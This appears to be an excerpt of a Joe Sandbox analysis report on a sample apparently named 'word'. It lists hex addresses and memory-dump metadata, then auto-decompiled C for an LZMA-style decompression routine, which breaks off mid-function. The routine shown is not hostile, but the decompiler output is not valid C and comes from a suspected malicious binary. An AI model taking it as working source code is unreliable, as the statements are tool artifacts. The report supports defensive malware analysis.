0x00000000
0x00000000
0x004070b5
0x004070b9
0x00000000
0x00000000
0x004070bf
0x004070c1
0x004070c5
0x004070c5
0x004070c8
0x004070cc
0x00000000
0x00000000
0x0040711c
0x00407120
0x00407127
0x0040712a
0x0040712d
0x00407137
0x00000000
0x00407137
0x00407122
0x00000000
0x00000000
0x00407143
0x00407147
0x0040714e
0x00407151
0x00407154
0x00407149
0x00407149
0x00407149
0x00407157
0x0040715a
0x0040715d
0x0040715d
0x00407160
0x00407163
0x00407166
0x00407166
0x00407169
0x00407170
0x00407175
0x00000000
0x00000000
0x00407203
0x00407203
0x00407207
0x004075a5
0x00000000
0x004075a5
0x0040720d
0x00407210
0x00407213
0x00407217
0x0040721a
0x00407220
0x00407222
0x00407222
0x00407222
0x00407225
0x00407228
0x00000000
0x00000000
0x00406df8
0x00406df8
0x00406dfc
0x00407569
0x00000000
0x00407569
0x00406e02
0x00406e05
0x00406e08
0x00406e0c
0x00406e0f
0x00406e15
0x00406e17
0x00406e17
0x00406e17
0x00406e1a
0x00406e1d
0x00406e1d
0x00406e20
0x00406e23
0x00000000
0x00000000
0x00406e29
0x00406e2f
0x00000000
0x00000000
0x00406e35
0x00406e35
0x00406e39
0x00406e3c
0x00406e3f
0x00406e42
0x00406e45
0x00406e46
0x00406e49
0x00406e4b
0x00406e51
0x00406e54
0x00406e57
0x00406e5a
0x00406e5d
0x00406e60
0x00406e63
0x00406e7f
0x00406e82
0x00406e85
0x00406e88
0x00406e8f
0x00406e93
0x00406e95
0x00406e99
0x00406e65
0x00406e65
0x00406e69
0x00406e71
0x00406e76
0x00406e78
0x00406e7a
0x00406e7a
0x00406e9c
0x00406ea3
0x00406ea6
0x00000000
0x00406eac
0x00000000
0x00406eac
0x00000000
0x00406eb1
0x00406eb1
0x00406eb5
0x00407575
0x00000000
0x00407575
0x00406ebb
0x00406ebe
0x00406ec1
0x00406ec5
0x00406ec8
0x00406ece
0x00406ed0
0x00406ed0
0x00406ed0
0x00406ed3
0x00406ed6
0x00406ed6
0x00406ed6
0x00406edc
0x00000000
0x00000000
0x00406ede
0x00406ee1
0x00406ee4
0x00406ee7
0x00406eea
0x00406eed
0x00406ef0
0x00406ef3
0x00406ef6
0x00406ef9
0x00406efc
0x00406f14
0x00406f17
0x00406f1a
0x00406f1d
0x00406f1d
0x00406f20
0x00406f24
0x00406f26
0x00406efe
0x00406efe
0x00406f06
0x00406f0b
0x00406f0d
0x00406f0f
0x00406f0f
0x00406f29
0x00406f30
0x00406f33
0x00000000
0x00406f35
0x00000000
0x00406f35
0x00406f33
0x00406f3a
0x00406f3a
0x00406f3a
0x00406f3a
0x00000000
0x00000000
0x00406f75
0x00406f75
0x00406f79
0x00407581
0x00000000
0x00407581
0x00406f7f
0x00406f82
0x00406f85
0x00406f89
0x00406f8c
0x00406f92
0x00406f94
0x00406f94
0x00406f94
0x00406f97
0x00406f9a
0x00406f9a
0x00406fa0
0x00406f3e
0x00406f3e
0x00406f41
0x00000000
0x00406f41
0x00406fa2
0x00406fa2
0x00406fa5
0x00406fa8
0x00406fab
0x00406fae
0x00406fb1
0x00406fb4
0x00406fb7
0x00406fba
0x00406fbd
0x00406fc0
0x00406fd8
0x00406fdb
0x00406fde
0x00406fe1
0x00406fe1
0x00406fe4
0x00406fe8
0x00406fea
0x00406fc2
0x00406fc2
0x00406fca
0x00406fcf
0x00406fd1
0x00406fd3
0x00406fd3
0x00406fed
0x00406ff4
0x00406ff7
0x00000000
0x00406ff9
0x00000000
0x00406ff9
0x00000000
0x00407286
0x00407286
0x0040728a
0x004075b1
0x00000000
0x004075b1
0x00407290
0x00407293
0x00407296
0x0040729a
0x0040729d
0x004072a3
0x004072a5
0x004072a5
0x004072a5
0x004072a8
0x00000000
0x00000000
0x00407056
0x00407056
0x00407059
0x004073cb
0x004073cb
0x00000000
0x00000000
0x00000000
0x00000000
0x00407452
0x00407456
0x00407474
0x00407474
0x00407474
0x0040747b
0x00407482
0x00000000
0x00407482
0x00407458
0x0040745b
0x0040745e
0x00407461
0x00407468
0x00000000
0x00000000
0x00407543
0x00407546
0x00407447
0x00407447
0x00000000
0x00000000
0x0040717d
0x0040717f
0x00407186
0x00407187
0x00407189
0x0040718c
0x00000000
0x00000000
0x00407194
0x00407197
0x0040719a
0x0040719c
0x0040719e
0x0040719e
0x0040719f
0x004071a2
0x004071a9
0x004071ac
0x004071ba
0x00000000
0x00000000
0x00000000
0x00000000
0x0040749f
0x0040749f
0x004074a3
0x004075db
0x00000000
0x004075db
0x004074a9
0x004074ac
0x004074af
0x004074b3
0x004074b6
0x004074bc
0x004074be
0x004074be
0x004074be
0x004074c1
0x004074c4
0x004074c4
0x004074c4
0x004074c4
0x00000000
0x00000000
0x004071c2
0x004071c5
0x004071fb
0x0040732b
0x0040732b
0x0040732b
0x0040732b
0x0040732e
0x0040732e
0x00407331
0x00407333
0x004075bd
0x00000000
0x004075bd
0x00407339
0x0040733c
0x00000000
0x00000000
0x00407342
0x00407346
0x00407349
0x00407349
0x00407349
0x00000000
0x00407349
0x004071c7
0x004071c9
0x004071cb
0x004071cd
0x004071d0
0x004071d1
0x004071d3
0x004071d5
0x004071d8
0x004071db
0x004071f1
0x004071f6
0x0040722e
0x0040722e
0x00407232
0x0040725e
0x00407260
0x00407267
0x0040726a
0x0040726d
0x0040726d
0x00407272
0x00407272
0x00407274
0x00407277
0x0040727e
0x00407281
0x004072ae
0x004072ae
0x004072b1
0x004072b4
0x00407328
0x00407328
0x00407328
0x00000000
0x00407328
0x004072b6
0x004072bc
0x004072bf
0x004072c2
0x004072c5
0x004072c8
0x004072cb
0x004072ce
0x004072d1
0x004072d4
0x004072d7
0x004072f0
0x004072f2
0x004072f5
0x004072f6
0x004072f9
0x004072fb
0x004072fe
0x00407300
0x00407302
0x00407305
0x00407307
0x0040730a
0x0040730e
0x00407310
0x00407310
0x00407311
0x00407314
0x00407317
0x004072d9
0x004072d9
0x004072e1
0x004072e6
0x004072e8
0x004072eb
0x004072eb
0x0040731a
0x00407321
0x004072ab
0x004072ab
0x004072ab
0x004072ab
0x00000000
0x00407323
0x00000000
0x00407323
0x00407321
0x00407234
0x00407237
0x00407239
0x0040723c
0x0040723f
0x00407242
0x00407244
0x00407247
0x0040724a
0x0040724a
0x0040724d
0x0040724d
0x00407250
0x00407257
0x0040722b
0x0040722b
0x0040722b
0x0040722b
0x00000000
0x00407259
0x00000000
0x00407259
0x00407257
0x004071dd
0x004071e0
0x004071e2
0x004071e5
0x00000000
0x00000000
0x00406f44
0x00406f44
0x00406f48
0x0040758d
0x00000000
0x0040758d
0x00406f4e
0x00406f51
0x00406f54
0x00406f57
0x00406f5a
0x00406f5d
0x00406f60
0x00406f62
0x00406f65
0x00406f68
0x00406f6b
0x00406f6d
0x00406f6d
0x00406f6d
0x00000000
0x00000000
0x004070cf
0x004070cf
0x004070d3
0x00407599
0x00000000
0x00407599
0x004070d9
0x004070dc
0x004070df
0x004070e2
0x004070e4
0x004070e4
0x004070e4
0x004070e7
0x004070ea
0x004070ed
0x004070f0
0x004070f3
0x004070f6
0x004070f7
0x004070f9
0x004070f9
0x004070f9
0x004070fc
0x004070ff
0x00407102
0x00407105
0x00407105
0x00407105
0x00407108
0x0040710a
0x0040710a
0x00000000
0x00000000
0x0040734c
0x0040734c
0x0040734c
0x00407350
0x00000000
0x00000000
0x00407356
0x00407359
0x0040735c
0x0040735f
0x00407361
0x00407361
0x00407361
0x00407364
0x00407367
0x0040736a
0x0040736d
0x00407370
0x00407373
0x00407374
0x00407376
0x00407376
0x00407376
0x00407379
0x0040737c
0x0040737f
0x00407382
0x00407385
0x00407389
0x0040738b
0x0040738e
0x00000000
0x00407390
0x0040710d
0x0040710d
0x00000000
0x0040710d
0x0040738e
0x004075c3
0x004075e5
0x004075eb
0x004075ed
0x004075f4
0x004075f6
0x004075fd
0x00407601
0x00000000
0x00406bf2
0x004075fa
0x004075fa
0x00000000
0x004075fa
0x00407447
0x004074cd
0x004074d3
0x004074d6
0x004074d9
0x004074dc
0x004074df
0x004074e2
0x004074e5
0x004074e8
0x004074ee
0x00407507
0x0040750a
0x0040750d
0x00407510
0x00407514
0x00407516
0x00407517
0x0040751a
0x004074f0
0x004074f0
0x004074f8
0x004074fd
0x004074ff
0x00407502
0x00407502
0x00407524
0x00000000
0x00407526
0x00000000
0x00407526
0x00407524
0x00000000
0x00407399

Memory Dump Source

Source File: 00000005.00000002.987514881.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.987509042.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987527452.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000437000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043E000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000044B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.0000000000455000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 97748a737734167d5846b9d8dd4738ada3f75d0b833fdafa89234df63502b4a5
Instruction ID: d49815ad38d406b3cd0a1a90ea7be1526168d9e39684835ffa6a026ef1ef4849
Opcode Fuzzy Hash: 97748a737734167d5846b9d8dd4738ada3f75d0b833fdafa89234df63502b4a5
Instruction Fuzzy Hash: 91913270D04228DBEF28CF98C8547ADBBB1FF44305F14816AD856BB281D778A986DF45

Uniqueness

Uniqueness Score: -1.00%

Function 004070AB Relevance: 5.2, APIs: 4, Instructions: 205
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E004070AB() {
				unsigned short _t532;
				signed int _t533;
				void _t534;
				void* _t535;
				signed int _t536;
				signed int _t565;
				signed int _t568;
				signed int _t589;
				signed int* _t606;
				void* _t613;

				L0:
				while(1) {
					L0:
					if( *(_t613 - 0x40) != 0) {
						L89:
						 *((intOrPtr*)(_t613 - 0x80)) = 0x15;
						 *(_t613 - 0x58) =  *(_t613 - 4) + 0xa68;
						L69:
						_t606 =  *(_t613 - 0x58);
						 *(_t613 - 0x84) = 0x12;
						L132:
						 *(_t613 - 0x54) = _t606;
						L133:
						_t532 =  *_t606;
						_t589 = _t532 & 0x0000ffff;
						_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
						if( *(_t613 - 0xc) >= _t565) {
							 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
							 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
							 *(_t613 - 0x40) = 1;
							_t533 = _t532 - (_t532 >> 5);
							 *_t606 = _t533;
						} else {
							 *(_t613 - 0x10) = _t565;
							 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
							 *_t606 = (0x800 - _t589 >> 5) + _t532;
						}
						if( *(_t613 - 0x10) >= 0x1000000) {
							L139:
							_t534 =  *(_t613 - 0x84);
							L140:
							 *(_t613 - 0x88) = _t534;
							goto L1;
						} else {
							L137:
							if( *(_t613 - 0x6c) == 0) {
								 *(_t613 - 0x88) = 5;
								goto L170;
							}
							 *(_t613 - 0x10) =  *(_t613 - 0x10) << 8;
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
							 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
							goto L139;
						}
					} else {
						if( *(__ebp - 0x60) == 0) {
							L171:
							_t536 = _t535 | 0xffffffff;
							L172:
							return _t536;
						}
						__eax = 0;
						_t258 =  *(__ebp - 0x38) - 7 >= 0;
						0 | _t258 = _t258 + _t258 + 9;
						 *(__ebp - 0x38) = _t258 + _t258 + 9;
						L75:
						if( *(__ebp - 0x64) == 0) {
							 *(__ebp - 0x88) = 0x1b;
							L170:
							_t568 = 0x22;
							memcpy( *(_t613 - 0x90), _t613 - 0x88, _t568 << 2);
							_t536 = 0;
							goto L172;
						}
						__eax =  *(__ebp - 0x14);
						__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
						if(__eax >=  *(__ebp - 0x74)) {
							__eax = __eax +  *(__ebp - 0x74);
						}
						__edx =  *(__ebp - 8);
						__cl =  *(__eax + __edx);
						__eax =  *(__ebp - 0x14);
						 *(__ebp - 0x5c) = __cl;
						 *(__eax + __edx) = __cl;
						__eax = __eax + 1;
						__edx = 0;
						_t274 = __eax %  *(__ebp - 0x74);
						__eax = __eax /  *(__ebp - 0x74);
						__edx = _t274;
						__eax =  *(__ebp - 0x68);
						 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
						 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
						_t283 = __ebp - 0x64;
						 *_t283 =  *(__ebp - 0x64) - 1;
						 *( *(__ebp - 0x68)) = __cl;
						L79:
						 *(__ebp - 0x14) = __edx;
						L80:
						 *(__ebp - 0x88) = 2;
					}
					L1:
					_t535 =  *(_t613 - 0x88);
					if(_t535 > 0x1c) {
						goto L171;
					}
					switch( *((intOrPtr*)(_t535 * 4 +  &M00407602))) {
						case 0:
							if( *(_t613 - 0x6c) == 0) {
								goto L170;
							}
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
							_t535 =  *( *(_t613 - 0x70));
							if(_t535 > 0xe1) {
								goto L171;
							}
							_t539 = _t535 & 0x000000ff;
							_push(0x2d);
							asm("cdq");
							_pop(_t570);
							_push(9);
							_pop(_t571);
							_t609 = _t539 / _t570;
							_t541 = _t539 % _t570 & 0x000000ff;
							asm("cdq");
							_t604 = _t541 % _t571 & 0x000000ff;
							 *(_t613 - 0x3c) = _t604;
							 *(_t613 - 0x1c) = (1 << _t609) - 1;
							 *((intOrPtr*)(_t613 - 0x18)) = (1 << _t541 / _t571) - 1;
							_t612 = (0x300 << _t604 + _t609) + 0x736;
							if(0x600 ==  *((intOrPtr*)(_t613 - 0x78))) {
								L10:
								if(_t612 == 0) {
									L12:
									 *(_t613 - 0x48) =  *(_t613 - 0x48) & 0x00000000;
									 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
									goto L15;
								} else {
									goto L11;
								}
								do {
									L11:
									_t612 = _t612 - 1;
									 *((short*)( *(_t613 - 4) + _t612 * 2)) = 0x400;
								} while (_t612 != 0);
								goto L12;
							}
							if( *(_t613 - 4) != 0) {
								GlobalFree( *(_t613 - 4));
							}
							_t535 = GlobalAlloc(0x40, 0x600); // executed
							 *(_t613 - 4) = _t535;
							if(_t535 == 0) {
								goto L171;
							} else {
								 *((intOrPtr*)(_t613 - 0x78)) = 0x600;
								goto L10;
							}
						case 1:
							L13:
							__eflags =  *(_t613 - 0x6c);
							if( *(_t613 - 0x6c) == 0) {
								 *(_t613 - 0x88) = 1;
								goto L170;
							}
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							 *(_t613 - 0x40) =  *(_t613 - 0x40) | ( *( *(_t613 - 0x70)) & 0x000000ff) <<  *(_t613 - 0x48) << 0x00000003;
							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
							_t45 = _t613 - 0x48;
							 *_t45 =  *(_t613 - 0x48) + 1;
							__eflags =  *_t45;
							L15:
							if( *(_t613 - 0x48) < 4) {
								goto L13;
							}
							_t547 =  *(_t613 - 0x40);
							if(_t547 ==  *(_t613 - 0x74)) {
								L20:
								 *(_t613 - 0x48) = 5;
								 *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) =  *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) & 0x00000000;
								goto L23;
							}
							 *(_t613 - 0x74) = _t547;
							if( *(_t613 - 8) != 0) {
								GlobalFree( *(_t613 - 8));
							}
							_t535 = GlobalAlloc(0x40,  *(_t613 - 0x40)); // executed
							 *(_t613 - 8) = _t535;
							if(_t535 == 0) {
								goto L171;
							} else {
								goto L20;
							}
						case 2:
							L24:
							_t554 =  *(_t613 - 0x60) &  *(_t613 - 0x1c);
							 *(_t613 - 0x84) = 6;
							 *(_t613 - 0x4c) = _t554;
							_t606 =  *(_t613 - 4) + (( *(_t613 - 0x38) << 4) + _t554) * 2;
							goto L132;
						case 3:
							L21:
							__eflags =  *(_t613 - 0x6c);
							if( *(_t613 - 0x6c) == 0) {
								 *(_t613 - 0x88) = 3;
								goto L170;
							}
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							_t67 = _t613 - 0x70;
							 *_t67 =  &(( *(_t613 - 0x70))[1]);
							__eflags =  *_t67;
							 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
							L23:
							 *(_t613 - 0x48) =  *(_t613 - 0x48) - 1;
							if( *(_t613 - 0x48) != 0) {
								goto L21;
							}
							goto L24;
						case 4:
							goto L133;
						case 5:
							goto L137;
						case 6:
							__edx = 0;
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x34) = 1;
								 *(__ebp - 0x84) = 7;
								__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x5c) & 0x000000ff;
							__esi =  *(__ebp - 0x60);
							__cl = 8;
							__cl = 8 -  *(__ebp - 0x3c);
							__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
							__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
							__ecx =  *(__ebp - 0x3c);
							__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
							__ecx =  *(__ebp - 4);
							(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
							__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
							__eflags =  *(__ebp - 0x38) - 4;
							__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
							 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
							if( *(__ebp - 0x38) >= 4) {
								__eflags =  *(__ebp - 0x38) - 0xa;
								if( *(__ebp - 0x38) >= 0xa) {
									_t98 = __ebp - 0x38;
									 *_t98 =  *(__ebp - 0x38) - 6;
									__eflags =  *_t98;
								} else {
									 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
								}
							} else {
								 *(__ebp - 0x38) = 0;
							}
							__eflags =  *(__ebp - 0x34) - __edx;
							if( *(__ebp - 0x34) == __edx) {
								__ebx = 0;
								__ebx = 1;
								goto L61;
							} else {
								__eax =  *(__ebp - 0x14);
								__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
								__eflags = __eax -  *(__ebp - 0x74);
								if(__eax >=  *(__ebp - 0x74)) {
									__eax = __eax +  *(__ebp - 0x74);
									__eflags = __eax;
								}
								__ecx =  *(__ebp - 8);
								__ebx = 0;
								__ebx = 1;
								__al =  *((intOrPtr*)(__eax + __ecx));
								 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
								goto L41;
							}
						case 7:
							__eflags =  *(__ebp - 0x40) - 1;
							if( *(__ebp - 0x40) != 1) {
								__eax =  *(__ebp - 0x24);
								 *(__ebp - 0x80) = 0x16;
								 *(__ebp - 0x20) =  *(__ebp - 0x24);
								__eax =  *(__ebp - 0x28);
								 *(__ebp - 0x24) =  *(__ebp - 0x28);
								__eax =  *(__ebp - 0x2c);
								 *(__ebp - 0x28) =  *(__ebp - 0x2c);
								__eax = 0;
								__eflags =  *(__ebp - 0x38) - 7;
								0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
								__al = __al & 0x000000fd;
								__eax = (__eflags >= 0) - 1 + 0xa;
								 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
								__eax =  *(__ebp - 4);
								__eax =  *(__ebp - 4) + 0x664;
								__eflags = __eax;
								 *(__ebp - 0x58) = __eax;
								goto L69;
							}
							__eax =  *(__ebp - 4);
							__ecx =  *(__ebp - 0x38);
							 *(__ebp - 0x84) = 8;
							__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
							goto L132;
						case 8:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x84) = 0xa;
								__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
							} else {
								__eax =  *(__ebp - 0x38);
								__ecx =  *(__ebp - 4);
								__eax =  *(__ebp - 0x38) + 0xf;
								 *(__ebp - 0x84) = 9;
								 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
								__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
							}
							goto L132;
						case 9:
							goto L0;
						case 0xa:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x84) = 0xb;
								__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x28);
							goto L88;
						case 0xb:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__ecx =  *(__ebp - 0x24);
								__eax =  *(__ebp - 0x20);
								 *(__ebp - 0x20) =  *(__ebp - 0x24);
							} else {
								__eax =  *(__ebp - 0x24);
							}
							__ecx =  *(__ebp - 0x28);
							 *(__ebp - 0x24) =  *(__ebp - 0x28);
							L88:
							__ecx =  *(__ebp - 0x2c);
							 *(__ebp - 0x2c) = __eax;
							 *(__ebp - 0x28) =  *(__ebp - 0x2c);
							goto L89;
						case 0xc:
							L99:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xc;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t334 = __ebp - 0x70;
							 *_t334 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t334;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							__eax =  *(__ebp - 0x2c);
							goto L101;
						case 0xd:
							L37:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xd;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t122 = __ebp - 0x70;
							 *_t122 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t122;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							L39:
							__eax =  *(__ebp - 0x40);
							__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
							if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
								goto L48;
							}
							__eflags = __ebx - 0x100;
							if(__ebx >= 0x100) {
								goto L54;
							}
							L41:
							__eax =  *(__ebp - 0x5b) & 0x000000ff;
							 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
							__ecx =  *(__ebp - 0x58);
							__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
							 *(__ebp - 0x48) = __eax;
							__eax = __eax + 1;
							__eax = __eax << 8;
							__eax = __eax + __ebx;
							__esi =  *(__ebp - 0x58) + __eax * 2;
							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
							__ax =  *__esi;
							 *(__ebp - 0x54) = __esi;
							__edx = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
							__eflags =  *(__ebp - 0xc) - __ecx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								 *(__ebp - 0x40) = 1;
								__cx = __ax >> 5;
								__eflags = __eax;
								__ebx = __ebx + __ebx + 1;
								 *__esi = __ax;
							} else {
								 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edx;
								0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							__eflags =  *(__ebp - 0x10) - 0x1000000;
							 *(__ebp - 0x44) = __ebx;
							if( *(__ebp - 0x10) >= 0x1000000) {
								goto L39;
							} else {
								goto L37;
							}
						case 0xe:
							L46:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xe;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t156 = __ebp - 0x70;
							 *_t156 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t156;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							while(1) {
								L48:
								__eflags = __ebx - 0x100;
								if(__ebx >= 0x100) {
									break;
								}
								__eax =  *(__ebp - 0x58);
								__edx = __ebx + __ebx;
								__ecx =  *(__ebp - 0x10);
								__esi = __edx + __eax;
								__ecx =  *(__ebp - 0x10) >> 0xb;
								__ax =  *__esi;
								 *(__ebp - 0x54) = __esi;
								__edi = __ax & 0x0000ffff;
								__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
								__eflags =  *(__ebp - 0xc) - __ecx;
								if( *(__ebp - 0xc) >= __ecx) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
									 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
									__cx = __ax;
									_t170 = __edx + 1; // 0x1
									__ebx = _t170;
									__cx = __ax >> 5;
									__eflags = __eax;
									 *__esi = __ax;
								} else {
									 *(__ebp - 0x10) = __ecx;
									0x800 = 0x800 - __edi;
									0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
									__ebx = __ebx + __ebx;
									 *__esi = __cx;
								}
								__eflags =  *(__ebp - 0x10) - 0x1000000;
								 *(__ebp - 0x44) = __ebx;
								if( *(__ebp - 0x10) >= 0x1000000) {
									continue;
								} else {
									goto L46;
								}
							}
							L54:
							_t173 = __ebp - 0x34;
							 *_t173 =  *(__ebp - 0x34) & 0x00000000;
							__eflags =  *_t173;
							goto L55;
						case 0xf:
							L58:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xf;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
